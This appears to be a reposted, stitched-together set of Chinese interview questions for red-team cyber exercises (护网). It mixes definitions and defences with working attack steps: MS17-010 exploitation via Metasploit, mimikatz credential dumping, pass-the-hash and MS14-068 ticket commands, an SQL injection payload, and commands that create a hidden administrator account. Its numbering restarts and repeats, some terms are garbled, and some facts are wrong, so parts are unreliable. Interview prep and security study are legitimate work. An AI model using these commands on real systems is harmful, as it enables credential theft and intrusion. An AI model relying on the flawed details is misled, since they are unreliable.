护网面试问题
Posted 谁还不是个程序员
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了护网面试问题相关的知识,希望对你有一定的参考价值。
1:护网是干什么?
护网行动是一场网络安全攻防演练。是针对全国范围的真实网络目标为对象的实战攻防活动
mimikatz的功能:
1:可以获取主机账号密码
1:第一步:使用Nmap扫描目标主机开放端口,ms17010是对445端口进行攻击的,所以我们要先对目标机进行端口扫描
2:第二步:获取权限
在这里我们利用ms17010(永恒之蓝)漏洞来获取靶机的权限。
运行msf,使用ms17010漏洞。
3:剩下的就是需要我们设置LHOST、RHOST、payload,分别是攻击机IP、靶机IP、攻击载荷。
4:配置完之后就可以开始攻击了,攻击成功后就可以拿到靶机的shell
5:拿到权限后先不要着急干别的,这里我们最好先进行进程迁移,确保我们的msf程序在目标机上不会受到干扰
6:使用mimikatz模块获取目标机明文密码,把靶机密码哈希就可以 获取到靶机的明文密码了
2:哈希传递攻击:
PTH-哈希传递
PTH,即Pass The Hash,通过找到与账号相关的密码散列值(通常是NTLM Hash)来进行攻击。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码。因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就可以使用哈希传递的方法登录到内网主机的其他计算机。
5.1 利用条件
1、在工作组环境中:
Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问
2、在域环境中:
只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器
如果要用普通域管理员账号进行哈希传递攻击,则需要修改修改目标机器的 LocalAccountTokenFilterPolicy为1
5.2 MiMiKatz-PTH
\\1. mimikatz privilege::debug
\\2. mimikatz sekurlsa::pth /user:administrator /domain:goksec.org /ntlm:8a963371a63944419ec1adf687bb1be5
\\3. steal_token PID
[](
3:票据传递攻击
7.PtT-票据传递(ms14-068)
7.1 利用条件
1.域控没有打MS14-068的补丁(KB3011780)
2.拿下一台加入域的计算机
3.有这台域内计算机的域用户密码和Sid
7.2 利用步骤
先清空当前机器的票据信息
mimikatz kerberos::list //列出当前票据
mimikatz kerberos::purge //清除票据
然后查看本机的sid
whoami /all
ms14-068生成tgt票据
ms14-068.exe -u lisi@goksec.org -p goksec@2021 -s S-1-5-21-1797401017-738776913-2751391128-1106 -d DC.goksec.org
导入票据
mimikatz kerberos::ptc <>
使用如下命令,可成功读取域控主机C盘目录下文件
shell dir \\DC.goksec.orgc$
[](
2:哪些函数属于SQL注入报错函数:
updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数
extractvalue() 是mysql对xml文档数据进行查询的xpath函数
floor() mysql中用来取整的函数
exp() 此函数返回e(自然对数的底)指数X的幂值
常见的WEB攻击方法有哪些:
1.Dos拒绝服务攻击
介绍:Dos拒绝服务攻击(Denial of Service attack)是一种能够让服务器呈现静止状态的攻击方式。其原理就是发送大量的合法请求到服务器,服务器无法分辨这些请求是正常请求还是攻击请求,所以会照单全收。海量的请求造成服务器进入停止工作或拒绝服务的状态。
DDOS分布式拒绝服务攻击(Distributed Denial of Service)就是在DOS攻击基础上借助公共网络,将大数量的计算机设备联合起来,向一个或多个目标发送大量请求使使服务器瘫痪。DDoS攻击可以针对网络通讯协议的各层,大致有:TCP类的SYN Flood、ACK Flood,UDP类的Fraggle、Trinoo,DNS Query Flood,ICMP Flood,Slowloris类。CC攻击也是DDOS攻击的一种形式。
防御:DDoS 防御的技术核心是检测技术和清洗技术。检测技术就是检测网站是否正在遭受 DDoS 攻击,而清洗技术就是清洗掉异常流量。而检测技术的核心在于对业务深刻的理解,才能快速精确判断出是否真的发生了 DDoS 攻击。清洗技术对检测来讲,不同的业务场景下要求的粒度不一样。
2.CSRF跨站点请求伪造
介绍:CSRF跨站点请求伪造(Cross-Site Request Forgeries)是指攻击者通过已经设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息状态更新,属于被动攻击。更简单的理解就是攻击者盗用了你的名义,以你的名义发送了其他请求。JSON 劫持(JSON Hijacking)是用于获取敏感数据的一种攻击方式,也属于 CSRF 攻击的范畴。
防御:
1)将cookie设置为HttpOnly。CSRF攻击很大程度是利用了浏览器的cookie,为了防止站内XSS漏洞,cookie设置HttpOnly属性,JS脚本就无法读取到cookie中的信息,避免攻击者伪造cookie的情况出现。
2)增加token。CSRF攻击之所以成功,主要是攻击中伪造了用户请求,而用户请求的验证信息都在cookie中,攻击者就可以利用cookie伪造请求通过安全验证。因此抵御CSRF攻击的关键就是,在请求中放入攻击者不能伪造的信息,并且信息不在cookie中。鉴于此,开发人员可以在http请求中以参数的形式加一个token,此token在服务端生成,也在服务端校验,服务端的每次会话都可以用同一个token。如果验证token不一致,则认为是CSRF攻击,拒绝请求。
3)通过Referer识别。Http头中有一个字段Referer,它记录了Http请求来源地址。但是注意不要把Rerferer用在身份验证或者其他非常重要的检查上,因为Rerferer非常容易在客户端被改变。
3.SOL注入攻击
介绍:SOL注入攻击是攻击者成功的向服务器提交恶意的SQL查询代码,程序在接收后错误的将攻击者的输入作为查询语句的一部分执行,导致原始的查询逻辑被改变,额外的执行了攻击者精心构造的恶意代码。
举例:’ OR ‘1’=‘1,这是最常见的 SQL注入攻击。当我们输入用户名 admin ,然后密码输入’ OR ‘1’=1=‘1的时候,我们在查询用户名和密码是否正确的时候,本来要执行的是SELECT * FROM user WHERE username=’’ and password=’’,经过参数拼接后,会执行 SQL语句 SELECT * FROM user WHERE username=’’ and password=’’ OR ‘1’=‘1’,这个时候1=1是成立,自然就跳过验证。
防御:对进入数据库的特殊字符(’"<>&*;等)进行转义处理,或编码转换。在应用发布之前建议使用专业的SQL注入检测工具(如sqlmap、SQLninja)进行检测,以及时修补被发现的SQL注入漏洞。避免网站打印出SQL错误信息,比如类型错误、字段不匹配等,容易把代码里的SQL语句暴露出来。
4.XSS跨站脚本攻击
介绍:XSS跨站脚本攻击(Cross-Site scripting)是指在通过注册的网站用户的浏览器内运行非法的html标签或javascript,从而达到攻击的目的,如盗取用户的cookie,改变网页的DOM结构,重定向到其他网页等。XSS攻击分类包含反射型,存储型,DOM型,FLASH。
防御:坚决不要相信用户的任何输入,并过滤掉输入中的所有特殊字符。这样就能消灭绝大部分的XSS攻击。主要有两种方式:过滤特殊字符和使用HTTP头指定类型。
5.文件上传漏洞
介绍:倘若web网站没有对文件类型进行严格的校验,导致可执行文件上传到了服务器,恶意程序就会执行。
防御:
客户端检测 :程序员一般使用 JavaScript 来拒绝非法文件上传。
服务器端检测:
1)白名单与黑名单验证:定义不允许或允许上传的文件扩展名;
2)MIME验证:php 中通过 $_FILE[‘file’][‘type’] 来检验;
3)目录验证:在文件上传时,程序通常允许用户将文件放到指定的目录中,如果指定的目录存在,就将文件写入目录中。
6.DNS查询攻击
介绍:DNS查询攻击(DNS Query Flood)是向被攻击的服务器发送海量的随机生成的域名解析请求,大部分根本就不存在,并且通过伪造端口和客户端IP,防止查询请求被ACL过滤。
被攻击的DNS服务器在接收到域名解析请求后,首先会在服务器上查找是否有对应的缓存,当没有缓存并且该域名无法直接由该DNS服务器进行解析的时候,DNS服务器会向其上层DNS服务器递归查询域名信息,直到全球互联网的13台根DNS服务器。
大量不存在的域名解析请求,给服务器带来了很大的负载,当解析请求超过一定量的时候,就会造成DNS服务器解析域名超时,这样攻击者便达成了攻击目的。
防御:根据域名 IP 自学习结果主动回应,减轻服务器负载(使用 DNS Cache);对突然发起大量频度较低的域名解析请求的源 IP 地址进行带宽限制;在攻击发生时降低很少发起域名解析请求的源 IP 地址的优先级;限制每个源 IP 地址每秒的域名解析请求次数。
7.暴力破解
介绍:这个一般针对密码而言,弱密码(Weak Password)很容易被别人猜到或被破解工具暴力破解。
防御:防御方法主要有两种,其一密码复杂度要足够大也要足够隐蔽,其二限制尝试次数。
8.信息泄露
介绍:由于 Web 服务器或应用程序没有正确处理一些特殊请求,泄露 Web 服务器的一些敏感信息,如用户名、密码、源代码、服务器信息、配置信息等。
防御:敏感信息加密传输;应用程序报错时,不对外产生调试信息;过滤用户提交的数据与特殊字符;保证源代码、服务器配置的安全。
9.业务漏洞
介绍:业务漏洞是跟具体的应用程序相关,比如参数篡改(连续编号 ID / 订单、1 元支付)、重放攻击(伪装支付)、权限控制(越权操作)等。
防御:系统设计阶段就需要考虑业务漏洞的问题,尽量避免连续编号、越权操作等。
10.后门程序
介绍:后门程序一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法。在软件的开发阶段,程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷。但是如果这些后门被其他人知道,或是在发布软件之前没有删除后门程序,那么它就成了安全风险,容易被黑客当成漏洞进行攻击。
防御:使用非对称后门接口进行软件更新,避免对称后门接口, 给后端程序加壳,更新去除后门的补丁程序。
一个IP地址包含网络地址与主机地址
用于配合ssrf的协议:gopher
SQL注入攻击:
1、发现SQL注入位置
2、判断后台数据库类型
3、确定XP_CMDSHELL可执行情况
4、发现WEB虚拟目录
5、上传ASP木马
6、得到管理员权限
SQL Server的主数据库是MASTER
域环境中,用户的配置文件有三种:临时配置文件,强制用户配置文件,本地用户配置文件
weblogc常见的漏洞有
a. ssrf
b.任意文件上传
c.XMLDecoder反序列化
d.java反序列化
Cobalt Strike利用域前罟上线是使用的哪种监听器 :https
常见的文件读取函数:
fopen fgets file get contents
PHP伪协议都有:
phar //
zlib://
php ://
liunx的常见漏洞:
栈漏洞 整数漏洞 格式化字符串漏洞
以下关于IBOSS常见漏洞正确的是 选择一项或多项: a\\b\\c\\d
a.CVE-2017-12149
b.jboss未授权访问
c.JMXInvokerServlet反序列化
d.jboss溢出漏洞
JAVA反序列化影响的中间件有什么:
以下属于fastbin的利用方法的是()
a. fastbin double free
b. use after free
c.栈溢出夏盖堆指针变量
护网行动面试题目汇总
四、怎么判断靶标站点是windows系统还是Linux系统?
一、常用的外围打点工具有哪些?
名称 | 描述 |
水泽 | 信息收集自动化工具 |
Masscan | 端口扫描工具 |
subDomainsBrute | 子域名收集工具 |
水泽 | 信息手机自动化工具 |
FOFA | 网络空间资产检索 |
Goby | 攻击面测绘工具 |
二、描述一下外围打点的基本流程?
五个步骤,分别是靶标确认、信息收集、漏洞探测、利用漏洞和获取权限,最终要得到的是获取靶标的系统权限进而获得关键数据。
三、怎么识别CND?
- 使用ping命令看回显
- 使用nslookup查询域名解析,看域名解析情况
- 使用超级ping工具,像Tools,all-toll.cn等。
四、怎么判断靶标站点是windows系统还是Linux系统?
- 通过ping靶机,看返回的TTL值,Windows大于100、Linux小于100的
- 看大小写,Linux区别大小写,Windows则不分。
五、举常见的FOFA在外网打点过程中的查询语句?
- 漏洞方面:body=“Index of/”(列目录漏洞)
- 框架:body=“icon-spring-boot-admin.svg"(Spring Boot Admin)
- 子域名:host="x.cn"
- 后台挖掘:title="后台” && body=“password" && host="x.cn"
六、常见的未授权访问漏洞有哪些?
Active MQ 未授权访问
Atlassian Crowd 未授权访问
CouchDB 未授权访问
Docker 未授权访问
Dubbo 未授权访问
Druid 未授权访问
Elasticsearch 未授权访问
FTP 未授权访问
Hadoop 未授权访问
JBoss 未授权访问
Jenkins 未授权访问
Jupyter Notebook 未授权访问
Kibana 未授权访问
Kubernetes Api Server 未授权访问
LDAP 未授权访问
MongoDB 未授权访问
Memcached 未授权访问
NFS 未授权访问
Rsync 未授权访问
Redis 未授权访问
RabbitMQ 未授权访问
Solr 未授权访问
Spring Boot Actuator 未授权访问
Spark 未授权访问
VNC 未授权访问
Weblogic 未授权访问
ZooKeeper 未授权访问
Zabbix 未授权访问
七、文件上传功能的检测点有哪些?
- 客户端的JS检测(主要检测文件名后缀)
- 服务端检测(MINE类型检测、文件后缀名、文件格式头)
八、常见的中间件有哪些,常见都有哪些相关漏洞?
- IIS:解析漏洞、短文件名枚举、远程代码执行、PUT漏洞
- Apache:解析漏洞、目录遍历、shiro反序列化漏洞
- Nginx:解析漏洞、目录遍历、CRLF注入、目录穿越
- Tomcat:示例目录、远程代码执行、反向路径遍历、war后门文件部署
- Jboss:反序列化、war后门文件部署
- web Logic:反序列化、SSRF任意文件上传
九、介绍一下SQL注入种类?
- 提交方式分为:GET型、POST型、Cookie型
- 注入点分为:数字型、字符串型、搜索型
- 运行结果分为:基于时间的盲注、基于报错、基于布尔的盲注、基于数字
十、Windows常用的命令有哪些?
Windows——常用的DOS命令行操作指令(一)_xiaochuhe.的博客-CSDN博客_windows命令行删除
- ping:检查网络联通
- ipconfig:查看ip地址
- dir:显示当前文件夹的内容
- net user:查看用户
- netstat:查看端口
- tasklist:查看进程列表
- find:搜索文件中的字符串
十一、Linux常见的命令有哪些?
- ls:显示当前文件夹的内容
- ifconfig:查看ip地址
- whoami:查看用户
- netstat:查看端口
- ps:查看进程列表
- grep:文件中搜索字符串
- crontal:检查定时任务
十二、在Windows靶标站点如何建立隐藏用户?
net user xiaofeng$ 112233 /add (建立隐藏用户xiaofeng)
net localgroup administrators xiaofeng$ /add (将隐藏用户xiaofeng加入管理员用户组)
十三、正向shell和反向shell的区别是什么?
内外网区别,正向shell是攻击者处于内网,被攻击者处于公网;而方向shell是攻击者处于外网,被攻击者处于内网,且是被攻击主动连接攻击者。
十四、连接不了MySQL数据库站点的原因有哪些?
- 3306端口没有对外开放
- MySQL默认端口被修改(最常见)
- 站库分离
十五、哪些漏洞经常被用于打点?
- 边界网络设备资产跟弱口令结合
- 上传漏洞
- Log4j
- Apache Shiro漏洞
- Fastjson漏洞
十六、常见的端口和渗透方式简单描述一下?
服务 | 端口 | 渗透点 |
FTP | 21 | 匿名登录、爆破 |
ssh | 22 | 爆破 |
Telnet | 23 | 嗅探、爆破 |
sql server | 1433 | 弱口令、注入、爆破 |
Oracle | 1521 | 弱口令、注入、爆破 |
mysql | 3306 | 弱口令、注入、爆破 |
WebLogic | 7001 | Java反序列化、弱口令 |
Redis | 6379 | 未授权访问、弱口令 |
Jboss | 8080 | 反序列化、弱口令 |
Zabbix | 8069 | SQL注入、远程代码执行 |
以上是关于护网面试问题的主要内容,如果未能解决你的问题,请参考以下文章